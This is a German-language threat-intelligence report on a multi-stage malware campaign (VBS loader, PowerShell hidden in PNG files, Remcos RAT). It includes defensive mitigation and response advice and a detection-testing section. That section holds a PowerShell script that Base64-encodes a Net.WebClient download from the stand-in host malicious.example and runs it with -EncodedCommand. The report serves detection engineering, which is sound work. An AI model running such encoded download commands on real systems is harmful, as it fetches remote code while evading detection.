Verfolgung einer Multi-Vektor-Malware-Kampagne: Von VBS zu Offener Infrastruktur

Zusammenfassung

Der Bericht behandelt eine modulare, mehrstufige Malware-Kampagne, die mit einem durch Unicode verschleierten VBS-Loader beginnt, über einen dateilosen PowerShell-Loader in PNG-Dateien übergeht, um eine .NET-Assembly zu verbergen, die später im Speicher ausgeführt wird. Von dort aus kann die Kampagne mehrere Nutzlasten bereitstellen, einschließlich Remcos RAT, UAC-Umgehungs-DLLs und Python-basierte Werkzeuge. Der Bedrohungsakteur hostet das gesamte Toolkit in öffentlich zugänglichen Verzeichnissen unter einer einzigen .xyz-Domain und mehreren von Cloudflare unterstützten Subdomains, was schnelle Nutzlastwechsel und mehrere Lieferwege wie waffenfähige PDFs und bösartige Batch-Skripte ermöglicht.

Untersuchung

Das MDR SOC von LevelBlue entdeckte das initiale VBS-Artefakt über SentinelOne, stellte es unter Quarantäne und dekodierte das Skript zur Analyse. Ermittler fanden einen Base64-codierten PowerShell-Befehl, der PNG-Dateien herunterlud, die eingebettete .NET-Assemblys enthielten, welche dann direkt in den Speicher über Reflection geladen wurden. Eine umfassende Infrastrukturüberprüfung enthüllte offene Verzeichnisse, die nicht nur weitere VBS-Loader bereitstellten, sondern auch bösartige Batch-Dateien, ZIP-Archive und Python-Nutzlasten, die mit der gleichen Kampagne in Verbindung stehen.

Minderung

Empfohlene Verteidigungsmaßnahmen umfassen das Einschränken der Ausführung von Hochrisiko-Skripttypen wie .vbs und .bat von benutzerschreibbaren Pfaden, das strikte Kontrollieren der PowerShell-Nutzung und das Überwachen auf verdächtiges Laden von .NET in den Speicher. Verteidiger sollten auch .xyz-Domains blockieren und WebDAV-Verkehr, der über Internetverknüpfungsdateien missbraucht wird, genau inspizieren oder einschränken. Auf der Netzwerkebene kann das Filtern des Zugriffs auf die bekannte bösartige Infrastruktur helfen, die Kampagne frühzeitig zu stören.

Reaktion

Wenn diese Aktivität erkannt wird, isolieren Sie den betroffenen Endpunkt, blockieren Sie alle zugehörigen Domains und URLs und suchen Sie nach den relevanten VBS- und PowerShell-Artefakten. Ermittler sollten den Speicher nach der reflektierten .NET-Assembly durchsuchen und das System auf geplante Aufgaben oder Dateien prüfen, die aus den freigelegten Verzeichnissen erstellt wurden. Detektionsinhalte sollten aktualisiert werden, um das Staging von PNG-basierten Nutzlasten und alle verknüpften Batch- oder Python-Komponenten, die mit der Kampagne verbunden sind, zu identifizieren.

Simulationsausführung

Voraussetzung: Die Telemetrie- & Basis-Prüfung muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und das Narrativ MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

• Angriffs-Narrativ & Befehle:

  Ein Angreifer hat eine PowerShell-Einzeiler erhalten, der eine bösartige Nutzlast von einem entfernten HTTP-Server herunterlädt und ausführt. Um eine einfache Skriptdatei-Erkennung zu umgehen, ist der Befehl Base64-codiert und wird über powershell.exe -EncodedCommand. Die Befehlszeile enthält daher die drei Zeichenfolgen, nach denen die Regel sucht: powershell, Base64, und Net.WebClient.

  1. Der Angreifer erstellt das PowerShell-Skript:

     $wc = New-Object System.Net.WebClient;
     $wc.DownloadString('http://malicious.example/payload');

  2. Das Skript ist UTF‑16LE-codiert und Base64-codiert.

  3. Der Angreifer führt den kodierten Befehl über eine Windows-Befehlszeile (oder eine geplante Aufgabe) aus.

• Regressionstestskript:

  # --------------------------------------------------------------
  # PowerShell-Skript zum Simulieren des Base64-codierten Net.WebClient-Downloads
  # --------------------------------------------------------------
  
  # 1. Definieren Sie die bösartige PowerShell-Einzeiler
  $malicious = '$wc = New-Object System.Net.WebClient; $wc.DownloadString(''http://malicious.example/payload'');'
  
  # 2. Den Befehl in UTF‑16LE kodieren und dann Base64
  $bytes   = [System.Text.Encoding]::Unicode.GetBytes($malicious)
  $b64     = [Convert]::ToBase64String($bytes)
  
  # 3. Führen Sie den kodierten Befehl aus – diese Zeile erzeugt die Telemetrie
  #    nach der die Sigma-Regel sucht (powershell + Base64 + Net.WebClient)
  powershell.exe -EncodedCommand $b64

• Bereinigungskommandos:

  # --------------------------------------------------------------
  # Bereinigung – Beenden Sie alle verirrten PowerShell-Prozesse, die durch den Test gestartet wurden
  # --------------------------------------------------------------
  
  Get-Process -Name powershell -ErrorAction SilentlyContinue |
      Where-Object { $_.StartInfo.Arguments -match 'malicious.example' } |
      Stop-Process -Force
  
  # Entfernen Sie alle temporären Dateien (in diesem Test wurden keine erstellt)

Ende des Berichts